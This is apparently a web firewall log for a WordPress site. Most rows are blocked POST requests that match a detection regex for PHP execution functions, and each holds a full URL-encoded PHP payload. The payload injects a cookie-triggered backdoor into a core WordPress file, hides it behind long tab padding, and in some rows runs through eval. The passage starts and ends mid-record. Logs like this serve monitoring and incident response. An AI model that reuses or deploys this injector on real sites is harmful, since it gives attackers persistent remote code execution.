%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3277\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\naccept:*\/*\n\nFm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:45","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Dd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3277\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvETDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nDd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:47","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3277\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLx8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nbO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:50","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:3300\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-active-formatting-elements.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B19%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B19%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B19%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B17%255D%2528%2529.%2524p%255B27%255D%253Bif%2528%2521%2524p%255B15%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B18%255D%2528%2524k%252C%2524p%255B4%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B12%255D%2528%2524p%255B1%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:38:54","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 